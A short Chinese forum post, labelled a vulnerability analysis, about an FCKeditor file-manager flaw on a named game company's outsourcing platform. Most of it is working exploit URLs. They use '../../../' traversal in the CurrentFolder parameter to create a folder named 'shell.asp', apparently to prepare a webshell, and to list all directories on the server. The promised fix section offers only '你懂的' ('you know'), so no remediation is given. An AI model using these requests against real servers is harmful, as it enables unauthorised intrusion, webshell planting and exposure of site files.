[漏洞分析] 盛大游戏外包管理平台FCK列全盘目路分析与解决方案

3 主題	0 回帖	0 積分

热心网友

金币: 0
閲讀權限: 220
精華: 0
威望: 0
贡献: 0
在線時間: 0 小時
註冊時間: 2010-3-18

發消息

發表於 2012-6-27 14:33:07 | 顯示全部樓層 |閲讀模式

修改CurrentFolder 参数使用../../来进入不同的目录
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../../&NewFolderName=shell.asp
根据返回的XML 信息可以查看网站所有的目录。
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
也可以直接浏览盘符：

修复方案：
你懂的！

回覆

使用道具舉報

返回列表發新帖

[漏洞分析] 盛大游戏外包管理平台FCK列全盘目路分析与解决方案

瀏覽過的版塊